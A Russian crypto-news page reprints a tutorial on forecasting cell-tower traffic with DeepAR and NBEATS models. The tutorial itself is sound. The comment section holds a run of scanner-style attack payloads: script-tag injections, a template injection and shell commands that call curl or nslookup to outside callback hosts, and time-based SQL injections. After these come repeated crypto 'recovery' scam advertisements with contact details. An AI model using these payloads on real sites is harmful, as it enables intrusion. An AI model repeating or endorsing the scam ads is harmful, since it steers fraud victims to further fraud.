Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

  1. Главная
  2. Новости

Когда одной ARIMA мало. Прогнозирование временных рядов нейросетями

Как сказал один мудрый человек, доклады по временным рядам бывают двух типов. Первый — предсказание *** (попробуйте угадать в комментариях, о чем шла речь), а второй — ориентированные на практическую пользу. Эта статья точно не относится к первому типу, а, надеемся, что ко второму. Но об этом уже судить не нам, а вам в комментариях.

Привет, Хабр! Меня зовут Никита, я работаю в Мегафоне аналитиком больших данных. В этой статье я хочу поговорить про временные ряды, а если конкретнее, про использование нейросетей для их прогнозирования.

370f5157ae0ace2ebd0f56b3ddf07bc5.png

На опыте решения реальной задачи я убедился, что сегодня существует немало архитектур, показывающих достаточно высокую точность прогнозирования и при этом нетрудных в использовании. Однако, по сравнению с классическими методами прогнозирования, они не так популярны.

Поэтому сейчас мы разберемся как работают архитектуры DeepAR и NBEATS, как применить их на реальных данных и (главное) когда стоит это делать.

Для полного погружения в тему переходите в репозиторий. Код можно запустить в Colab c помощью всего одной кнопки, параллельно с прочтением статьи.

  1. Теоретическая часть

    1. Обзор задачи

    2. DeepAR

    3. NBEATS

  2. Практическая часть

    1. Датасет, фреймворк

    2. Подготовка данных

    3. Обучение модели

    4. Инференс

  3. Итоги

Свяжем машинное обучение с реальным миром инфраструктуры.

Чтобы не заскучать, мы не будем обсуждать идеи вне контекста их применения. Мы возьмем реальную бизнес задачу, и на примере ее решения покажем, чем хороши в ней нейросети.

Итак, как вы уже, возможно, догадались, мы сотовый оператор, и поэтому у нашего BigData подразделения есть немало задач, напрямую связанных с работой сотовой сети.

Не смотря на то, что существуют разные архитектуры сети сотовой связи, основным элементом в каждой является базовая станция, которая обеспечивает подключение пользователя по беспроводным каналам. В местности с высокой плотностью застройки и большим количеством абонентов, одна базовая станция может обслуживать территорию радиусом в несколько сотен метров, а за городом - территорию радиусом в несколько километров. Выгляните в окно, и наверняка, увидите на одной из крыш соседних домов небольшую вышку - это и есть базовая станция.

Про соты

В основе сетей мобильной связи лежит иерархическая структура, которая обеспечивает эффективную и надежную передачу данных. На самом высоком уровне находятся макросоты (большие зоны покрытия, охватывающие города или регионы), внутри которых существуют более мелкие зоны покрытия, называемые микросотами, и еще более мелкие - пикосоты или фемтосоты. Поскольку именно на эти объекты инфраструктуры ложится основная нагрузка от пользователей, понятно, что они должны быть всегда в строю. А это требует от оператора поддерживать постоянный цикл эксплуатации, ремонта, обновления и мониторинга базовых станций.

Окей, элемент важный, понятно. А при чем тут временные ряды и машинное обучение?

Как я уже писал выше, состояние базовых станций и нагрузка на них (передаваемый объем трафика) мониторится оператором. Поэтому для каждой базовой станции у нас есть история нагрузки на нее. Значит, для каждой базовой станции мы можем составить временной ряд, где для момента в прошлом у нас будет известно значение нагрузки, и чисто теоретически, мы можем попробовать прогнозировать нагрузку наперед.

Какую выгоду мы можем получить от точного прогнозирования нагрузки?

  • Мы можем более эффективно планировать и распределять сетевые ресурсы в будущем, а значит, улучшать качество связи.

  • Сократить расходы на оптимизацию инфраструктуры и эксплуатацию оборудования.

  • Использовать полученные прогнозы в качестве признаков для других задач.

Почему бы не сделать авторегрессию на каждый временной ряд?

Давайте сперва обсудим причины из-за которых мы рассматриваем использование нейросетей в задачах прогнозирования временных рядов. Для этого рассмотрим некоторые недостатки классических методов прогнозирования, которые мы можем успешно компенсировать с помощью нейросетей:

  • Первым методом, который часто используется, является метод авторегрессии (AR). Его основная слабость заключается в том, что для каждого временного ряда приходится строить отдельную модель, и эти модели не учитывают информацию из других временных рядов.

  • Также, мы можем извлечь из исследуемых временных рядов признаки и использовать для прогнозирования алгоритмы классического машинного обучения(например, градиентный бустинг). Однако, тогда мы сталкиваемся с тем, что качество предсказаний напрямую зависит от качества созданных нами признаков. Создание признаков может быть трудоемким и неочевидным процессом.

  • С вышеуказанными недостатками справляются рекуррентные нейронные сети - мы можем обучать их на многих временных рядах и нам не обязательно использовать дополнительные признаки.

Тем более, за последние годы появилось много архитектур способных эффективно решать задачу прогнозирования временных рядов, поэтому в любом случае будет полезно хотя бы знать об их существовании.

Конечно, если в вашем проекте удается достичь необходимой точности и классическими методами - это отлично, нейросети не нужны в каждой задаче)

DeepAR

Первая модель, которой мы коснемся - DeepAR (deep auto regression). Эта модель состоит из нескольких рекуррентных блоков(как правило используются ячейки LSTM или GRU). При этом, тип ячейки, размер скрытого слоя и количество рекуррентных ячеек - это настраиваемые гиперпараметры модели.

Модель называется авторегрессионной, потому что на каждом временном шаге мы передаем в ячейку не только значение скрытого слоя с предыдущего шага(как в обычных рекуррентных сетях), но и предыдущее значение временного ряда/прогноз с предыдущего шага (во время обучения/прогноза на тесте).

88d1ae1147dd5e72c6d6b47589f9dda0.png

Вторая важная идея, на которой построена модель - мы учим ее предсказывать не действительное значение временного ряда, а параметры распределения значений временного ряда таким образом, чтобы максимизировать правдоподобие полученной выборки. В качестве прогноза мы берем среднее значение полученного распределения.

02444715f9b49121af4020af3f324dd6.png

За счет того, что модель возвращает при прогнозе параметры распределения, мы можем осуществлять вероятностный прогноз - то есть возвращать интервалы, в которые с заданной точностью попадает будущее значение временного ряда. Такая возможность может быть очень полезной во многих задачах.

Стоит также отметить, что DeepAR позволяет использовать дополнительные признаки при прогнозировании и обучаться на многих временных рядах одновременно.

NBEATS

В отличие от DeepAR в данной архитектуре используются не рекуррентные слои, а полносвязные.

Сеть получает на вход временной ряд и пропускает его через несколько полносвязных слоев. Затем выход с последнего слоя направляется по двум путям: backcast (моделирует прошлые значения) и forecast (моделирует будущие значения). Эта часть называется блоком сети.

d7810d03d736438513f23abe1d3c6297.png

Теперь смотрим на картинку снизу, часть слева. Выход backcast (левая стрелка от блока) вычитается из входного вектора перед следующим блоком, а выход forecast прибавляется к вектору прогноза от предыдущего блока. Такая архитектура позволяет backcast отфильтровать только необходимую информацию из входных данных, а forecast скорректировать прогноз и уменьшить ошибку (сильно напоминает идею градиентного бустинга, не правда ли?). Такая последовательность блоков называется стеком. Выходы со всех стеков также суммируются, и мы получаем глобальный прогноз.

d942b7b761fab457348c7cfd5e51b4aa.png

Такая архитектура имеет ряд преимуществ, а именно: быстрее обучается, поскольку нет рекуррентных блоков, а также обладает возможностью тонкой настройки путей backast и forecast, что позволяет достичь очень высокой точности прогнозирования.

У архитектуры NBEATS есть еще одно важное преимущество. Модель способна выделить тренд и сезонную компоненту из каждого исследуемого временного ряда, что повышает интерпретируемость прогнозов. Это особенно важно при непосредственном анализе временных рядов, чтобы заметить изменения в поведении трафика, возможно, обосновать их причины.

Практическая часть

f56a95160bec38c387dd99a10a83828a.png

Выбранный датасет

Чтобы практическая часть была воспроизводима и полезна, нам нужен репрезентативный датасет по нашей задаче. Такой существует - Telecom Italia BigDataChallenge. В нем представлены данные по нагрузке базовых станций за два месяца, при этом также доступны и дополнительные данные по потреблению электроэнергии, активности в социальных сетях и т.д.

Данные представлены реальным телекоммуникационным оператором, и единственная операция, которая была произведена с ними, это масштабирование (чтобы не показывать реальные объемы потребления, каждое значение в датасете было умножено на коэффициент, который не указывается). Также, количество временных рядов, соответствующих трафику равняется 10000, что тоже довольно близко к реальным масштабам.

Чтобы получше понять данные, с которыми мы работаем, смотрите ноутбук с EDA.

Выбранный фреймворк

Для прогнозирования временных рядов сегодня существует много фреймворков, и, в большинстве случаев они содержат: классы и методы для подготовки временных рядов к обучению, EDA и реализованные архитектуры моделей.

Есть к примеру ETNA, GluonTS, DART. Рекомендую с ними ознакомиться!)

В рамках нашей практической части мы будем использовать библиотеку pytorch forecasting, она также содержит внутри все нужные нам модели и обладает достаточно гибким интерфейсом. Также, будет понятна всем, кто когда-либо сталкивался с pytorch.

Далее действие происходит в ноутбуках DeepAR и NBEATS. Можете начать с любого и потом перейти ко второму.

Этап 1. Подготовка данных.

Как правило, временные ряды изначально представлены в виде таблиц, но для обучения сети обычный pandas DataFrame не подойдет.

Сейчас наши данные выглядят следующим образом:

square_id

time_idx

…

internet

47

1

…

34.2

Для каждой базовой станции (обозначенной отдельным square_id) есть значения интернета для временных шагов от 1 до N, где N - длительность обучающей выборки, измеряемая в временных шагах (в нашем случае это часы).

А мы хотим получить из каждого временного ряда пары последовательностей длины T1 и T2, где T1 - это длина последовательности, которую сеть будет получать на вход, а T2 - это длина последовательности, которую мы хотим спрогнозировать. (Параметры T1 и T2 мы можем задать сами, или у нас может быть бизнес требование, что например прогнозировать меньше, чем на два дня вперед не имеет смысла.)

Подробнее про Т1 и Т2

Понятно, что при увеличении T1 мы даем модели больше информации, и это может положительно влиять на качество прогноза, но важно помнить, что это происходит не всегда. К примеру, если в прошлом произошло событие, которое сильно изменило поведение временного ряда, данные из прошлого могут быть лишь дополнительным шумом. Однако, увеличение T1 гарантированно увеличивает сложность модели, что несет в себе негативные последствия. Во-первых, увеличивается число параметров, и сеть обучается дольше, а во-вторых, увеличение числа параметров может привести к переобучению.

Увеличение T2 в свою очередь может сильно повысить сложность решаемой задачи, поскольку неопределенность со временем увеличивается, а автокорреляция ряда падает.

Для обоих параметров нужно выбирать корректную длину временного шага. К примеру, если нужно прогнозировать временной ряд на неделю вперед, и мы делаем прогноз по часам, T2 = 24*7 = 168, что достаточно много, и при высокой дисперсии временного ряда будет сложной задачей. Если это возможно, лучше агрегировать значения по дням, и тогда мы получим задачу, где T2 = 7. Если в качестве агрегации использовать усреднение, то полученный временной ряд будет сильно менее шумен, и задача станет проще.

Чтобы подобрать оптимальные T1 и T2 можно использовать следующие лайфхаки:

  1. Посмотреть на полную и частную АКФ ряда, там мы увидим за какой промежуток времени наблюдается наибольшая взаимосвязь между прошлыми и будущими значениями ряда, и подобрать наилучшее T1 около полученного числа,

  2. В качестве T2 взять минимально возможную длину прогнозирования, удовлетворяющую бизнес требованиям.

Так как же нам перевести DataFrame в нужный формат?

Вышеупомянутые библиотеки позволяют упростить эту задачу, и сделать все буквально через один метод. Посмотрим на примере torch.forecasting. На основе нашей таблицы мы инициализировали класс TimeSeriesDataset и получили то, что нам нужно:

context_length = 60
prediction_length = 24

training = TimeSeriesDataSet(train,
                             time_idx="time_idx",
                             target="internet",
                             categorical_encoders={
                               "square_id": NaNLabelEncoder()...
                               group_ids=["square_id"],
                               static_categoricals=[ "square_id" ],
                               time_varying_unknown_reals=["internet"],
                               max_encoder_length=context_length,
                               max_prediction_length=prediction_length,
                               allow_missing_timesteps=False)

Но, как видно, указали еще много различных параметров, давайте разберем основное.

  • time_idx - колонка с индексом временного шага у каждого ряда,

  • target - колонка с переменной которую мы прогнозируем

  • group_ids - колонка, по которой мы отличим один ряд от другого, обязательный параметр в задаче, где у нас много временных рядов

  • context/prediction_length - наши T1 и T2.

Есть также дополнительные параметры, которые могут различаться в зависимости от решаемой задачи и используемой модели, все они описаны в документации.

Пользуясь объектом training можем создать датасет для валидации: 

validation = TimeSeriesDataSet.from_dataset(training, 
                                            df,
                                            min_prediction_idx=train_cutoff + 1)

А потом в одну строчку и создать dataloader’ы : 

batch_size = 128
train_dataloader = training.to_dataloader(train=True,
                                          batch_size=batch_size,
                                          num_workers=4,
                                          batch_sampler="synchronized"
                                         )
val_dataloader = validation.to_dataloader(train=False, 
                                          batch_size=batch_size, 
                                          num_workers=4,
                                          batch_sampler="synchronized")

Этап 2. Обучение модели

Прелесть класса TimeSeriesDataset состоит в том, что при его создании мы задали и часть параметров модели, и теперь сами сетки можно инициализировать с параметрами, указанными при создании датасета:

net = DeepAR.from_dataset(
  training,
  learning_rate=3e-2,
  hidden_size=40,
  rnn_layers=5,
  loss=MultivariateNormalDistributionLoss(rank=25),
  optimizer="Adam"
)
net = NBeats.from_dataset(
  training,
  learning_rate=1e-3,
  widths=[32, 512],
  backcast_loss_ratio=1.0,
)

Сейчас мы не указываем параметры, зависящие от входных данных, такие как context_length и prediction_length. Важно отметить, что доступные параметры для разных моделей различаются, и к примеру, подать датасет с категориальными фичами в NBEATS не получится, поэтому параметры с которыми мы инициализируем TimeSeriesDataset будут различаться.

Когда у нас есть модель и датасет, можно приступить к обучению. Поскольку библиотека не сильно отходит от обычного torch, можно написать стандартный цикл обучения, или же воспользоватся обертками для него, такими как Lightning(сами авторы torch forecasting рекомендуют его использовать):

logger = TensorBoardLogger('...', name='...')
early_stop_callback = EarlyStopping(monitor="val_loss"...)

trainer = pl.Trainer(max_epochs=50, accelerator="cpu",
  enable_model_summary=True,
  gradient_clip_val=0.1, callbacks=[early_stop_callback],
  limit_train_batches=200, limit_val_batches=100,
  enable_checkpointing=True,
  logger=logger)


trainer.fit(net,
train_dataloaders=train_dataloader,
val_dataloaders=subset_data_loader)

Lightning позволяет не писать с нуля цикл обучения для модели, а воспользоваться для этого классом Trainer и также использовать tensorboard. Это удобный инструмент, который позволит посмотреть на то как менялись значения лоссов и метрик во время обучения на тренировочной и валидационной выборках.

Этап 3. Прогноз.

Чтобы довести пайплайн до конца, нам нужно предусмотреть и как модель будет работать с реальными данными. Предположим, что мы получаем их в схожем с обучающей выборкой формате - эксель таблица со значениями трафика за последний context_length временных шагов.

Первое, что нам нужно сделать - это подготовить данные для создания TimeSeriesDataset. К сожалению, TimeSeriesDataset не позволяет создать датасет длины меньше, чем context_length + prediction length (то есть обязательно должна быть тестовая часть с ответами). Поэтому давайте добавим к нашим временным рядам prediction_length нулей:

test_df = df[df.time_idx > last_idx - context_length]
start_idx = test_df.time_idx.max() + 1
for square_id in test_df.square_id.unique():
data = []
for d in range(config['prediction_length']):
  data.append({"square_id": square_id,
  "time_idx": start_idx + d,
  "internet": 0})
data = pd.DataFrame(data)
test_df = pd.concat([test_df, data])

Теперь можем создать TimeSeriesDataSet, но важно сделать это через метод from_dataset, так как в датасете, который мы создавали для обучения, сохранена вся информация о правильном препроцессинге временных рядов (скейлинг, удаление тренда и т.д.)

infer_dataset = TimeSeriesDataSet.from_dataset(dataset,
test_df)
infer_loader = infer_dataset.to_dataloader(...)

Когда у нас есть dataloader с временными рядами для прогноза, нам нужно лишь сделать predict и привести данные к необходимому формату:

preds = net.predict(infer_loader, ...)
x, y = next(iter(infer_loader))
encoder = infer_dataset.categorical_encoders['square_id']
ids = encoder.inverse_transform(x['decoder_cat'])
time_steps = list(range(1, infer_dataset.max_prediction_length+1))
result = pd.DataFrame(columns=['square_id', 'internet', 'time_idx'])
for base in tqdm(range(test_df.square_id.nunique())):
  base_id = ids[base]
  forecast = pd.DataFrame(
  {'internet': preds[base].numpy().tolist(),
  'square_id': base_id.tolist(),
  'time_idx': time_steps})
  result = pd.concat([result, forecast], axis=0)
return result

Подводя итоги

Обе модели смогли показать качество сильно выше бейзлайна при прогнозировании нагрузки на базовые станции.

Про валидацию

Для оценки производительности разработанных моделей были проведены тренировка и валидация на отдельных наборах данных. Однако, стоит отметить, что данный туториал не включает использование кросс-валидации и других методов валидации, которые могли бы обеспечить более детальную и объективную оценку предложенных алгоритмов. Это решение было принято с целью сокращения объема туториала и упрощения его понимания для начинающих в области временных рядов.

(Если вы еще не открыли ноутбуки, переходите и смотрите результаты, там много красивых графиков)

Рассуждая над тем, какую модель стоит использовать для своей задачи можно опираться на следующие их преимущества:

  • NBEATS обучается быстрее, позволяет интерпретировать прогнозы (что вполне может быть требованием от заказчика) и при отсутствии дополнительных признаков, вероятно будет точнее DeepAR.

  • В случае когда у вас есть дополнительные признаки, или же когда нужно не только спрогнозировать значения временного ряда, но и оценить вероятный диапазон их изменений - на помощь придет DeepAR.

А еще было бы очень интересно услышать о вашем опыте использования нейросетей при прогнозировании временных рядов! Какие архитектуры использовали, заняло ли это больше времени по сравнению с классическими подходами, и, главное, стоило ли того?)

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover 